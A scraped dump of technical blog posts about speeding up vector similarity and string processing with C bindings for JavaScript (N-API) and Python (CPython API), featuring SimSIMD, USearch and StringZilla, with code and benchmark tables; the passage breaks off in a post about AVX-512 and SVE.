size_t length_a, length_b; napi_typedarray_type type_a, type_b; napi_status status_a, status_b; status_a = napi_get_typedarray_info(env, args[0], \u0026amp;type_a, \u0026amp;length_a, \u0026amp;data_a, NULL, NULL); status_b = napi_get_typedarray_info(env, args[1], \u0026amp;type_b, \u0026amp;length_b, \u0026amp;data_b, NULL, NULL); if (status_a != napi_ok || status_b != napi_ok || type_a != type_b || length_a != length_b) { napi_throw_error(env, NULL, \u0026#34;Both arguments must be typed arrays of matching types and dimensionality\u0026#34;); return NULL; } if (type_a != napi_float32_array) { napi_throw_error(env, NULL, \u0026#34;Only `float32` arrays are supported in JavaScript bindings\u0026#34;); return NULL; } float result = cosineDistance(data_a, data_b, length_a); // Convert the result to a JavaScript number napi_value js_result; status = napi_create_double(env, result, \u0026amp;js_result); if (status != napi_ok) return NULL; return js_result; } napi_value Init(napi_env env, napi_value exports) { napi_property_descriptor cosineDesc = {\u0026#34;cosineDistance\u0026#34;, 0, cosineDistanceAPI, 0, 0, 0, napi_default, 0}; napi_define_properties(env, exports, 1, \u0026amp;cosineDesc); return exports; } NAPI_MODULE(NODE_GYP_MODULE_NAME, Init) There\u0026rsquo;s no magic involved. Running the simple C 99 version against native JavaScript shows:\nContainer Speed Change Array of Numbers 707,820 ops/sec TypedArray of Float32 208,425 ops/sec 3.4 x slowdown 🆕 TypedArray of Float32 in C 2,247,163 ops/sec 3.2 x speedup Our new C library is 10x faster than the JavaScript implementation over TypedArray, and 3x faster than the JavaScript implementation over Array! This is a vast improvement, but we can do better.\nAI Doesn\u0026rsquo;t Need High Precision JavaScript\u0026rsquo;s default Number type uses 64-bit double-precision floating point numbers. They\u0026rsquo;re precise but slow. Our TypedArray uses 32-bit single-precision floating point numbers, faster but still not fast enough. We can do better.\nMany AI developers prefer 16-bit half-precision floating point numbers. However, JavaScript doesn\u0026rsquo;t support them. So, we\u0026rsquo;ll jump to 8-bit integers. I upscale numbers from 0 to 1 by 100 before changing them to integers.\n1 2 3 4 5 6 7 const size = 1536; const array1 = Array.from({ length: size }, () =\u0026gt; Math.random() * 100); const array2 = Array.from({ length: size }, () =\u0026gt; Math.random() * 100); const floatArray1 = new Float32Array(array1); const floatArray2 = new Float32Array(array2); const intArray1 = new Int8Array(array1); const intArray2 = new Int8Array(array2); Here is the extended results table:\nContainer Speed Change Array of Numbers 707,820 ops/sec TypedArray of Float32 208,425 ops/sec 3.4 x slowdown 🆕 TypedArray of Int8 231,783 ops/sec 3.1 x slowdown TypedArray of Float32 in C 2,247,163 ops/sec 3.2 x speedup 🆕 TypedArray of Int8 in C 2,533,402 ops/sec 3.6 x speedup We got a 12% performance boost. It\u0026rsquo;s alright, but there might be specialized math libraries that can do better.\nTrying MathJS and NumJS MathJS and NumJS are well-known libraries with decent GitHub stars. MathJS is more popular with 650 K weekly downloads compared to NumJS\u0026rsquo;s 650. Yes, 1,000 times fewer downloads. Both are made in JavaScript, so they work well in the JS world but are slow.\nContainer Speed Change Array of Numbers 707,820 ops/sec 🆕 Array of Numbers with MathJS 5,491 ops/sec 128 x slowdown When I saw those numbers, I ported my SimSIMD library to JavaScript. It provides CPU-specific implementations of math functions, like cosineDistance, using SIMD instructions. So, in some ways, SimSIMD is closer to Assembly than C. This may sound complex, but preparing the NPM module was a breeze. The whole binding took just 80 lines of C code and a trivial bindings.gyp config.\nDo you use #NumPy or #SciPy to compute vector similarity? For @OpenAI Ada embeddings – SimSIMD does it 3-200x faster 🤯\nfloat16 works great on every arch - Arm NEON \u0026amp; SVE and x86 AVX2 \u0026amp; AVX-512. Intel AMX also looks excellent 🔜https://t.co/ouFdvMJd7g#opensource #Python\n\u0026mdash; Ash Vardanian (@ashvardanian) October 5, 2023 Unlike other SIMD-accelerated libraries, it already supports both AVX-512 FP16 extensions on Intel Sapphire Rapids CPUs and Scalable Vector Extensions on the new 64-bit ARM Neoverse N2 cores in AWS Graviton3 instances. These instances are usually 30% cheaper, but with SimSIMD, you can get a 10x performance boost for free. Now, without leaving your JavaScript runtime, you can get performance most C++ and Rust applications don\u0026rsquo;t have 🎉\nTaking Advantage of Multi-Threading JavaScript runs on a single thread, but Node.js doesn\u0026rsquo;t. It has a thread pool for IO tasks and can use multiple threads for CPU-heavy work. The good news? Since we\u0026rsquo;re already working in C, we don\u0026rsquo;t need to worry about that 😅\nIn the C realm, you can pick any multi-threading library you like. A common choice is OpenMP, supported by many compilers. Instead of implementing parallel execution from scratch, we can take the USearch library for large-scale Vector Search. It uses SimSIMD for distance calculations and OpenMP to schedule the jobs. And just like SimSIMD, it has bindings for NodeJS. Let\u0026rsquo;s npm install usearch, and tweak our benchmark a bit:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 suite .add(\u0026#39;2D Array of Numbers\u0026#39;, () =\u0026gt; { for (let i = 0; i \u0026lt; batchSize; i++) { for (let j = 0; j \u0026lt; batchSize; j++) { const start = i * dimensions const end = start + dimensions cosineDistance(matrix1.slice(start, end), matrix2.slice(start, end)); } } }) .add(\u0026#39;2D TypedArray of Float32 with exact USearch\u0026#39;, () =\u0026gt; { usearch.exactSearch(floatMatrix1, floatMatrix2, dimensions, 1, MetricKind.Cos); }) .add(\u0026#39;2D TypedArray of Int8 with exact USearch\u0026#39;, () =\u0026gt; { usearch.exactSearch(intMatrix1, intMatrix2, dimensions, 1, MetricKind.Cos); }) Here are the results with a batchSize of 100 on just 4x vCPUs:\nContainer Speed Change 2D Array of Numbers 41.40 ops/sec 2D TypedArray of Float32 with exact USearch 306 ops/sec 7 x speedup 2D TypedArray of Int8 with exact USearch 864 ops/sec 21 x speedup And with a batchSize of 1000 on the same 4x vCPUs:\nContainer Speed Change 2D Array of Numbers 0.13 ops/sec 2D TypedArray of Float32 with exact USearch 3.23 ops/sec 25 x speedup 2D TypedArray of Int8 with exact USearch 9.55 ops/sec 73 x speedup This demonstrates the significant performance boosts you can achieve by leveraging multi-threading, especially when working with larger datasets.\nApproximate Nearest Neighbors Search Did you notice we used the exactSearch function from USearch? That\u0026rsquo;s because its default mode is \u0026ldquo;approximate\u0026rdquo;. USearch was initially designed to search across billions of points. But before you can search, you must \u0026ldquo;index\u0026rdquo; them. With the index set up, querying in it skips most distance computations - you might only compare a mere 0.0001% of the vectors in the dataset per request.\n1 2 3 4 5 import usearch, { MetricKind } from \u0026#39;usearch\u0026#39;; const index = new usearch.Index(dimensions, MetricKind.Cos); index.add(keys, datasetMatrix); results = index.search(queriesMatrix, 1); The Index class implements a data structure called HNSW (Hierarchical Navigable Small World), a layered graph of points. It is somewhat similar to a Skip-List data structure or a hierarchical \u0026ldquo;cluster of clusters\u0026rdquo;\u0026hellip; Unlike \u0026ldquo;a cluster of clusters\u0026rdquo;, HNSW handles boundary conditions much better when a point is far from centroids.\nOther libraries, like Meta\u0026rsquo;s famous FAISS, use a similar structure. But thanks to better memory layout and SIMD-accelerated distance functions, USearch implementation seems much faster at scale and provides JavaScript bindings. USearch can sustain over 100,000 queries per second in our benchmark, even on a single machine. Intrigued?\n1 npm install usearch simsimd More on vector search:\nAbusing Vector Search for Texts, Maps, and Chess ♟️ Stable Marriages in Economics, Dating, and Vector Search 💍 SimSIMD: ≤ 200x faster SciPy distances with AVX-512 \u0026amp; SVE 📏 ","permalink":"https://ashvardanian.com/posts/javascript-ai-vector-search/","summary":"\u003cp\u003eYou\u0026rsquo;ve probably heard about AI a lot this year. Lately, there\u0026rsquo;s been talk about something called \u003ca href=\"https://towardsdatascience.com/retrieval-augmented-generation-intuitively-and-exhaustively-explain-6a39d6fe6fc9\"\u003eRetrieval Augmented Generation\u003c/a\u003e (RAG). Unlike a regular chat with ChatGPT, RAG lets ChatGPT search through a database for helpful information. This makes the conversation better and the answers more on point.\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"RAG Design\" loading=\"lazy\" src=\"/javascript-ai-vector-search/rag.jpeg\"\u003e\u003c/p\u003e\n\u003cp\u003eUsually, a Vector Search engine is used as the database. It\u0026rsquo;s good at finding similar data points in a big pile of data. These data points are often at least 256-dimensional, meaning they have many \u003ccode\u003eNumber\u003c/code\u003e-s. If you use JavaScript, you might wonder whether to use the built-in \u003ccode\u003eArray\u003c/code\u003e type or the more specialized \u003ccode\u003eTypedArray\u003c/code\u003e for this job.\u003c/p\u003e","title":"Accelerating JavaScript arrays by 10x for Vector Search 🏹"},{"content":"\nPython\u0026rsquo;s not the fastest language out there. Developers often use tools like Boost.Python and SWIG to wrap faster native C/C++ code for Python. PyBind11 is the most popular tool for the job not the quickest. NanoBind offers improvements, but when speed really matters, we turn to pure CPython C API bindings. With StringZilla, I started with PyBind11 but switched to CPython to reduce latency. The switch did demand more coding effort, moving from modern C++17 to more basic C99, but the result is a 5x lower call latency! So if you want to make your bindings lighter and better understand how CPython works under the hood - continue reading 🤗\nWhy use CPython for StringZilla? I designed StringZilla\u0026rsquo;s Str class to be a faster version of Python\u0026rsquo;s native str class. It was built for speed, handling large strings from memory-mapped files using SIMD Assembly instructions. Spending $50K on data-engineering tasks in public clouds this year, with StringZilla I was able to cut the processing time and costs by a factor of ten.\nHowever, as more people suddenly started using StringZilla for smaller tasks in the last couple of months, PyBind11\u0026rsquo;s latency became noticeable:\n1 microsecond using native str class: \u0026quot;the future\u0026quot;.find(\u0026quot;solutions\u0026quot;) 15 microseconds using PyBind11: Str(\u0026quot;the future\u0026quot;).find(\u0026quot;solutions\u0026quot;) 3 microseconds using CPython: Str(\u0026quot;the future\u0026quot;).find(\u0026quot;solutions\u0026quot;) This is a major improvement, but you can do even better, and I\u0026rsquo;ve already done that in SimSIMD, mentioned in the previous post. Sounds interesting? Do you want to know CPython works under the hood and how I\u0026rsquo;m leveraging that in StringZilla and my other open-source projects? Continue reading!\nWhy use CPython for StringZilla? How is a Module Loaded? How is a Function Invoked and Arguments Parsed? How is a Class Defined and Which Methods it Has? Our Accomplishments How is a Module Loaded? Upon executing pip install stringzilla and subsequently running import stringzilla, the CPython runtime begins its search for the associated dynamic library within the directories enumerated in sys.path. This encompasses the current directory, any paths specified by the PYTHONPATH environment variable, standard library directories, and notably, the site-packages directory. Once CPython locates the corresponding library and verifies the presence of the initialization function, PyInit_stringzilla, it integrates the module within the Python environment.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 static PyModuleDef stringzilla_module = { PyModuleDef_HEAD_INIT, \u0026#34;stringzilla\u0026#34;, // Name \u0026#34;Crunch 100+ GB Strings in Python with ease\u0026#34;, // Doc -1, // Size stringzilla_methods, // A pointer to methods array NULL, // An array of slot definitions for multi-phase initialization NULL, // A traversal function to call during GC traversal of the module object NULL, // A clear function to call during GC clearing of the module object stringzilla_cleanup, // A function to call during deallocation of the module object }; PyMODINIT_FUNC PyInit_stringzilla(void) { // I\u0026#39;m gonna use NumPy functionality from \u0026lt;numpy/arrayobject.h\u0026gt; import_array(); // Check our definition of the `Str` class if (PyType_Ready(\u0026amp;StrType) \u0026lt; 0) return NULL; PyObject *m = PyModule_Create(\u0026amp;stringzilla_module); if (m == NULL) return NULL; // Add the `Str` class Py_INCREF(\u0026amp;StrType); if (PyModule_AddObject(m, \u0026#34;Str\u0026#34;, (PyObject *)\u0026amp;StrType) \u0026lt; 0) { Py_XDECREF(\u0026amp;StrType); Py_XDECREF(m); return NULL; } // Initialize temporary_memory, if needed temporary_memory.start = malloc(4096); temporary_memory.length = 4096 * (temporary_memory.start != NULL); return m; } Insights from the Code:\nModule Definition: Every module in Python is essentially a heap-allocated object, primarily delineated by PyModuleDef. Reference Counting: Given the nature of CPython, reference management of objects is manual, necessitating the frequent utilization of functions like Py_INCREF and Py_XDECREF. Dynamic Memory Allocation: The code introduces a static dynamically allocated temporary_memory. Freeing this memory is vital to avoid \u0026ldquo;memory leaks\u0026rdquo;, thus the incorporation of the stringzilla_cleanup function. 1 2 3 4 5 static void stringzilla_cleanup(PyObject *m) { if (temporary_memory.start) free(temporary_memory.start); temporary_memory.start = NULL; temporary_memory.length = 0; } Module Compilation:\nModules of this nature, rooted in C, can be compiled employing tools like CMake or Make. Alternatively, one can adapt setup.py to encompass this native extension.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 setup( name=\u0026#34;stringzilla, author=\u0026#34;Ash Vardanian\u0026#34;, license=\u0026#34;Apache-2.0\u0026#34;, ... include_dirs=[], setup_requires=[\u0026#34;numpy\u0026#34;], ext_modules=[ Extension( \u0026#34;stringzilla\u0026#34;, [\u0026#34;python/lib.c\u0026#34;], include_dirs=[\u0026#34;stringzilla\u0026#34;, numpy.get_include()], # \u0026lt;numpy/arrayobject.h\u0026gt; extra_compile_args=[\u0026#34;-std=c99\u0026#34;, \u0026#34;-O3\u0026#34;, \u0026#34;-pedantic\u0026#34;], # Compiler specific extra_link_args=[], define_macros=[], ), ], ) Upon completion of the compilation process, the resultant artifact is a .so (on Linux/macOS) or .pyd (on Windows) shared library. A practical demonstration on macOS can be conducted by simply starting the Python runtime, and checking if the newly compiled binding can be fetched, as follows:\n1 $ DYLD_PRINT_LIBRARIES=1 python -c \u0026#34;import stringzilla\u0026#34; Executing the above will display a comprehensive list, predominantly consisting of around 80 CPython\u0026rsquo;s default dependencies, with stringzilla distinctly listed therein.\nHow is a Function Invoked and Arguments Parsed? Python\u0026rsquo;s str class provides a wide array of methods, offering diverse string operations. In StringZilla, apart from member methods specific to Str instances, I\u0026rsquo;ve also introduced global functions, enabling operations without needing an instance. These methods are enumerated in the stringzilla_methods[] array:\n1 2 3 4 5 6 7 8 9 10 11 12 static PyMethodDef stringzilla_methods[] = { {\u0026#34;find\u0026#34;, Str_find, METH_VARARGS | METH_KEYWORDS, \u0026#34;Find the first occurrence of a substring.\u0026#34;}, {\u0026#34;index\u0026#34;, Str_index, METH_VARARGS | METH_KEYWORDS, \u0026#34;Find the first occurrence of a substring or raise error if missing.\u0026#34;}, {\u0026#34;contains\u0026#34;, Str_contains, METH_VARARGS | METH_KEYWORDS, \u0026#34;Check if a string contains a substring.\u0026#34;}, {\u0026#34;partition\u0026#34;, Str_partition, METH_VARARGS | METH_KEYWORDS, \u0026#34;Splits string into 3-tuple: before, match, after.\u0026#34;}, {\u0026#34;count\u0026#34;, Str_count, METH_VARARGS | METH_KEYWORDS, \u0026#34;Count the occurrences of a substring.\u0026#34;}, {\u0026#34;split\u0026#34;, Str_split, METH_VARARGS | METH_KEYWORDS, \u0026#34;Split a string by a separator.\u0026#34;}, {\u0026#34;splitlines\u0026#34;, Str_splitlines, METH_VARARGS | METH_KEYWORDS, \u0026#34;Split a string by line breaks.\u0026#34;}, {\u0026#34;startswith\u0026#34;, Str_startswith, METH_VARARGS | METH_KEYWORDS, \u0026#34;Check if a string starts with a given prefix.\u0026#34;}, {\u0026#34;endswith\u0026#34;, Str_endswith, METH_VARARGS | METH_KEYWORDS, \u0026#34;Check if a string ends with a given suffix.\u0026#34;}, {\u0026#34;levenstein\u0026#34;, Str_levenstein, METH_VARARGS | METH_KEYWORDS, \u0026#34;Calculate the Levenshtein distance between two strings.\u0026#34;}, {NULL, NULL, 0, NULL}}; The highlighted flags combination in the snippet is METH_VARARGS | METH_KEYWORDS. Several flag options are available, each catering to specific requirements:\nMETH_VARARGS: Standard convention, accepting a tuple with all arguments. Commonly combined with METH_KEYWORDS to accept keyword arguments. METH_KEYWORDS: For methods to receive keyword arguments, usually paired with either METH_VARARGS or METH_FASTCALL. METH_FASTCALL: A post-Python 3.7 optimization, this flag enhances the calling convention efficiency. METH_NOARGS: For methods that don\u0026rsquo;t require any arguments. METH_O: Suitable for methods taking just a single object argument. METH_CLASS and METH_STATIC: Specify class and static methods, respectively. METH_COEXIST: Permits a method\u0026rsquo;s loading even if another definition with the same name already exists. As an illustrative example, consider the Str_levenstein function which calculates the Levenshtein (Edit) distance between two strings. Depending on the way you call it, self, positional arguments args and named arguments kwargs will contain different values.\nMethod Global Function Member Method Example sz.levenstein(a, b) a.levenstein(b) Example with Last Positional Arg. sz.levenstein(a, b, 10) a.levenstein(b, 10) Example with Last Named Arg. sz.levenstein(a, b, bound=10) a.levenstein(b, bound=10) Object in self sz module a Object in args a, b, possibly 10 b, possibly 10 Object in kwargs possibly bound=10 possibly bound=10 Here comes the code:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 static PyObject *Str_levenstein(PyObject *self, PyObject *args, PyObject *kwargs) { // Is this a member method, or a global function? How many args is too much? int is_member = self != NULL \u0026amp;\u0026amp; PyObject_TypeCheck(self, \u0026amp;StrType); Py_ssize_t nargs = PyTuple_Size(args); if (nargs \u0026lt; !is_member + 1 || nargs \u0026gt; !is_member + 2) { PyErr_Format(PyExc_TypeError, \u0026#34;Invalid number of arguments\u0026#34;); return NULL; } // Parse positional arguments PyObject *str1_obj = is_member ? self : PyTuple_GET_ITEM(args, 0); PyObject *str2_obj = PyTuple_GET_ITEM(args, !is_member + 0); PyObject *bound_obj = nargs \u0026gt; !is_member + 1 ? PyTuple_GET_ITEM(args, !is_member + 1) : NULL; if (kwargs) { PyObject *key, *value; Py_ssize_t pos = 0; while (PyDict_Next(kwargs, \u0026amp;pos, \u0026amp;key, \u0026amp;value)) if (PyUnicode_CompareWithASCIIString(key, \u0026#34;bound\u0026#34;) == 0) { if (bound_obj) { PyErr_Format(PyExc_TypeError, \u0026#34;Received bound both as positional and keyword argument\u0026#34;); return NULL; } bound_obj = value; } } int bound = 255; // Default value for bound if (bound_obj \u0026amp;\u0026amp; ((bound = PyLong_AsLong(bound_obj)) \u0026gt; 255 || bound \u0026lt; 0)) { PyErr_Format(PyExc_ValueError, \u0026#34;Bound must be an integer between 0 and 255\u0026#34;); return NULL; } sz_string_view_t str1, str2; if (!export_string_like(str1_obj, \u0026amp;str1.start, \u0026amp;str1.length) || !export_string_like(str2_obj, \u0026amp;str2.start, \u0026amp;str2.length)) { PyErr_Format(PyExc_TypeError, \u0026#34;Both arguments must be string-like\u0026#34;); return NULL; } // Allocate memory for the Levenstein matrix, or just a couple of its rows size_t memory_needed = sz_levenstein_memory_needed(str1.length, str2.length); if (temporary_memory.length \u0026lt; memory_needed) { temporary_memory.start = realloc(temporary_memory.start, memory_needed); temporary_memory.length = memory_needed; } if (!temporary_memory.start) { PyErr_Format(PyExc_MemoryError, \u0026#34;Unable to allocate memory for the Levenshtein matrix\u0026#34;); return NULL; } levenstein_distance_t small_bound = (levenstein_distance_t)bound; levenstein_distance_t distance = sz_levenstein(str1.start, str1.length, str2.start, str2.length, small_bound, temporary_memory.start); return PyLong_FromLong(distance); } The function employs a substantial amount of boilerplate code:\nJust 3 lines to compute and return the distance. 8 lines for temporary memory allocations and potential errors. Over 30 lines meticulously parse the function arguments. Most developers avoid that using the PyArg_ParseTupleAndKeywords function:\n1 2 3 4 5 PyObject *str1_obj, *str2_obj, *bound_obj = NULL; int bound = 255; // Default value for bound static char *kwlist[] = {\u0026#34;str1\u0026#34;, \u0026#34;str2\u0026#34;, \u0026#34;bound\u0026#34;, NULL}; if (!PyArg_ParseTupleAndKeywords(args, kwargs, \u0026#34;OO|O\u0026#34;, kwlist, \u0026amp;str1_obj, \u0026amp;str2_obj, \u0026amp;bound_obj)) return NULL; Once called, PyArg_ParseTupleAndKeywords in turn calls vgetargskeywords and creates a huge stack frame for all the temporary variables required to parse the provided arguments according to the OO|O format:\n1 2 3 4 5 6 7 8 9 10 char msgbuf[512]; int levels[32]; const char *fname, *msg, *custom_msg; int min = INT_MAX; int max = INT_MAX; int i, pos, len; int skip = 0; Py_ssize_t nargs, nkwargs; freelistentry_t static_entries[STATIC_FREELIST_ENTRIES]; freelist_t freelist; Things go downhill from there, as 3 separate for-loops will have to be executed to perform the parsing. Obviously, this is a lot more expensive then most functions inside of StringZilla, that we are going to wrap.\n1 2 3 4 5 6 7 8 9 10 11 /* scan kwlist and count the number of positional-only parameters */ for (pos = 0; kwlist[pos] \u0026amp;\u0026amp; !*kwlist[pos]; pos++) ... /* scan kwlist and get greatest possible nbr of args */ for (len = pos; kwlist[len]; len++) ... /* convert tuple args and keyword args in same loop, using kwlist to drive process */ for (i = 0; i \u0026lt; len; i++) ... In pursuit of further enhancements, the fast calling convention METH_KEYWORDS | METH_FASTCALL should be utilized, eliminating overhead associated with tuple-unpacking. If you\u0026rsquo;re interested, I\u0026rsquo;ve incorporated this approach in the recent release of SimSIMD. You can reference its implementation to grasp the improvements. Looking forward to your contributions 🤗\nDo you use #NumPy or #SciPy to compute vector similarity? For @OpenAI Ada embeddings – SimSIMD does it 3-200x faster 🤯\nfloat16 works great on every arch - Arm NEON \u0026amp; SVE and x86 AVX2 \u0026amp; AVX-512. Intel AMX also looks excellent 🔜https://t.co/ouFdvMJd7g#opensource #Python\n\u0026mdash; Ash Vardanian (@ashvardanian) October 5, 2023 How is a Class Defined and Which Methods it Has? Defining a Python class offers more versatility than merely specifying its methods. Let\u0026rsquo;s delve into the Str class in StringZilla as an illustrative example. Alongside the PyMethodDef methods, this class was designed to support Python\u0026rsquo;s \u0026ldquo;sequence\u0026rdquo; protocols, enabling:\nDetermining the string\u0026rsquo;s length: len(Str(\u0026quot;\u0026quot;)). Fetching a specific character: Str(\u0026quot;a\u0026quot;)[0]. Checking substring presence: \u0026quot;a\u0026quot; in Str(\u0026quot;a\u0026quot;). To achieve the above, the class requires a PySequenceMethods definition. Furthermore, to support slicing (e.g., text[10:-10] to omit the first and last 10 characters), a PyMappingMethods definition becomes essential.\n1 2 3 4 5 6 7 8 9 10 static PySequenceMethods Str_as_sequence = { .sq_length = Str_len, .sq_item = Str_getitem, .sq_contains = Str_in, }; static PyMappingMethods Str_as_mapping = { .mp_length = Str_len, .mp_subscript = Str_subscript, // Supports Python slices }; Other notable features include:\nBuffer Protocol (Str_as_buffer): Commonly associated with Linear Algebra and Data Science libraries, this protocol facilitates zero-copy access. It treats Str as a one-dimensional character array, making it reminiscent of C arrays. 1 2 3 4 static PyBufferProcs Str_as_buffer = { .bf_getbuffer = Str_getbuffer, .bf_releasebuffer = Str_releasebuffer, }; Numerical Operations (Str_as_number): Currently, the class only supports string concatenation using the addition operator: Str(\u0026quot;fizz\u0026quot;) + Str(\u0026quot;buzz\u0026quot;). 1 2 3 static PyNumberMethods Str_as_number = { .nb_add = Str_concat, }; These methods, combined with other essential methods like tp_hash for hashing (hash(Str(\u0026quot;\u0026quot;))), tp_richcompare for comparisons (\u0026lt; == \u0026gt; != \u0026lt;= \u0026gt;=), and more, are all unified under the StrType structure:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 static PyMethodDef Str_methods[] = { {\u0026#34;find\u0026#34;, Str_find, METH_VARARGS | METH_KEYWORDS, \u0026#34;Find the first occurrence of a substring.\u0026#34;}, {\u0026#34;index\u0026#34;, Str_index, METH_VARARGS | METH_KEYWORDS, \u0026#34;Find the first occurrence of a substring or raise error if missing.\u0026#34;}, {\u0026#34;contains\u0026#34;, Str_contains, METH_VARARGS | METH_KEYWORDS, \u0026#34;Check if a string contains a substring.\u0026#34;}, {\u0026#34;partition\u0026#34;, Str_partition, METH_VARARGS | METH_KEYWORDS, \u0026#34;Splits string into 3-tuple: before, match, after.\u0026#34;}, {\u0026#34;count\u0026#34;, Str_count, METH_VARARGS | METH_KEYWORDS, \u0026#34;Count the occurrences of a substring.\u0026#34;}, {\u0026#34;split\u0026#34;, Str_split, METH_VARARGS | METH_KEYWORDS, \u0026#34;Split a string by a separator.\u0026#34;}, {\u0026#34;splitlines\u0026#34;, Str_splitlines, METH_VARARGS | METH_KEYWORDS, \u0026#34;Split a string by line breaks.\u0026#34;}, {\u0026#34;startswith\u0026#34;, Str_startswith, METH_VARARGS | METH_KEYWORDS, \u0026#34;Check if a string starts with a given prefix.\u0026#34;}, {\u0026#34;endswith\u0026#34;, Str_endswith, METH_VARARGS | METH_KEYWORDS, \u0026#34;Check if a string ends with a given suffix.\u0026#34;}, {\u0026#34;levenstein\u0026#34;, Str_levenstein, METH_VARARGS | METH_KEYWORDS, \u0026#34;Calculate the Levenshtein distance between two strings.\u0026#34;}, {NULL, NULL, 0, NULL}}; static PyTypeObject StrType = { PyObject_HEAD_INIT(NULL).tp_name = \u0026#34;stringzilla.Str\u0026#34;, .tp_doc = \u0026#34;Immutable string/slice class with SIMD and SWAR-accelerated operations\u0026#34;, .tp_basicsize = sizeof(Str), .tp_flags = Py_TPFLAGS_DEFAULT, .tp_new = Str_new, .tp_init = Str_init, .tp_dealloc = Str_dealloc, .tp_hash = Str_hash, .tp_richcompare = Str_richcompare, .tp_str = Str_str, .tp_methods = Str_methods, .tp_as_sequence = \u0026amp;Str_as_sequence, .tp_as_mapping = \u0026amp;Str_as_mapping, .tp_as_buffer = \u0026amp;Str_as_buffer, .tp_as_number = \u0026amp;Str_as_number, }; Our Accomplishments I put StringZilla to the test using the well-known Leipzig 1M dataset, which is 129,644,797 bytes in size. A standout feature of StringZilla is its ability to avoid unnecessary data copies. This is particularly beneficial when using functions like partition and split on large datasets, as it leads to significant memory savings. Moreover, the File class empowers us to handle datasets that exceed available memory.\nHere\u0026rsquo;s a comparative performance chart:\nTask Python StringZilla Speed Boost .count(\u0026quot;the\u0026quot;) 150 ms 50 ms 3x .count(\u0026quot;\\n\u0026quot;) 49 ms 11 ms 4.5x .split(\u0026quot;the\u0026quot;) 223 ms 57 ms 3.9x .split(\u0026quot;\\n\u0026quot;) 100 ms 34 ms 2.9x .partition(\u0026quot;the\u0026quot;) 8 ms 259 ns 31x .partition(\u0026quot;\\n\u0026quot;) 8 ms 264 ns 31x .find(\u0026quot;\\n\u0026quot;) 247 ns 172 ns 1.4x ¹ .find(\u0026quot;wzyx\u0026quot;) 70 ms 8 ms 8.8x ¹ The accuracy of this value might be off. In reality, StringZilla could be slightly slower. The challenge lies in measuring such short durations, especially using tools like the Jupyter notebook I employed.\nLately, I\u0026rsquo;ve been primarily leveraging low-level direct CPython bindings in projects such as:\nSimSIMD – For computations that outpace SciPy and NumPy in vector similarity. UCall – A turbocharged alternative to FastAPI. I\u0026rsquo;m also contemplating their integration in USearch which we use to replace FAISS, and UForm, to serve faster multi-modal inference API.\nLooking forward to your contributions, and don\u0026rsquo;t forget to share with your friends, if the projects resonate 🤗\n","permalink":"https://ashvardanian.com/posts/pybind11-cpython-tutorial/","summary":"\u003cp\u003e\u003cimg alt=\"Cover\" loading=\"lazy\" src=\"/pybind11-cpython-tutorial/python-diet.png\"\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ePython\u0026rsquo;s not the fastest language out there.\u003c/li\u003e\n\u003cli\u003eDevelopers often use tools like \u003ca href=\"https://github.com/boostorg/python\"\u003eBoost.Python\u003c/a\u003e and \u003ca href=\"https://www.swig.org/\"\u003eSWIG\u003c/a\u003e to wrap faster native C/C++ code for Python.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pybind/pybind11\"\u003ePyBind11\u003c/a\u003e is the most popular tool for the job not the quickest. \u003ca href=\"https://github.com/wjakob/nanobind\"\u003eNanoBind\u003c/a\u003e offers improvements, but when speed really matters, we turn to pure \u003ca href=\"https://docs.python.org/3/c-api/index.html\"\u003eCPython C API\u003c/a\u003e bindings.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eWith \u003cstrong\u003e\u003ca href=\"https://github.com/ashvardanian/stringzilla\"\u003eStringZilla\u003c/a\u003e\u003c/strong\u003e, I started with PyBind11 but switched to CPython to reduce latency. The switch did demand more coding effort, moving from modern C++17 to more basic C99, but the result is a 5x lower call latency! So if you want to make your bindings lighter and better understand how CPython works under the hood - continue reading 🤗\u003c/p\u003e","title":"Our CPython bindings got 5x faster without PyBind11 🐍"},{"content":"Over the years, Intel\u0026rsquo;s 512-bit Advanced Vector eXtensions (AVX-512) stirred extensive discussions. While introduced in 2014, it wasn\u0026rsquo;t until recently that CPUs began providing comprehensive support. Similarly, Arm Scalable Vector Extensions (SVE), primarily designed for Arm servers, have also started making waves only lately. The computing landscape now looks quite different with powerhouses like Intel\u0026rsquo;s Sapphire Rapids CPUs, AWS Graviton 3, and Ampere Altra entering the fray. Their arrival brings compelling advantages over the traditional AVX2 and NEON extensions:\nMasked Loads: Enhanced data processing through selective loading. Half-Precision Floating Point Math: Speedier computations with less memory usage. These enhancements shine in the latest SimSIMD release.\nDo you use #NumPy or #SciPy to compute vector similarity? For @OpenAI Ada embeddings – SimSIMD does it 3-200x faster 🤯\nfloat16 works great on every arch - Arm NEON \u0026amp; SVE and x86 AVX2 \u0026amp; AVX-512. Intel AMX also looks excellent 🔜https://t.co/ouFdvMJd7g#opensource #Python\n\u0026mdash; Ash Vardanian (@ashvardanian) October 5, 2023 This library now boasts:\nSpeeds up to 200x faster than SciPy and NumPy, Compatibility with NEON, SVE, AVX2, and AVX-512 extensions, Support for Inner Product, Euclidean, Angular, Hamming, Jaccard distances, and Acceptance of f32, f16, i8, and binary vectors. If this sparks your interest, go ahead and pip install simsimd. The library is available for both public and commercial projects under the Apache 2.0 license. For those keen on delving deeper into the mechanics behind these advancements, understanding how AVX-512 and SVE make SIMD code cleaner, and how the accelerate half-precision AI and Machine Learning workloads, continue reading!\nAppendix contains performance benchmarks for:\nApple M2 Pro 4th Gen Intel Xeon Platinum (8480+) AWS Graviton 3 “Tails of the past”: The Significance of Masked Loads Think of NEON as a container that\u0026rsquo;s always 128 bits wide, while AVX is a wider container at 256 bits. But real-world data can come in all sorts of sizes, and this sometimes causes complications, especially when we\u0026rsquo;re not just working with standard math libraries.\nFor tasks like measuring the distance between dense data points, manually guiding the computer can be 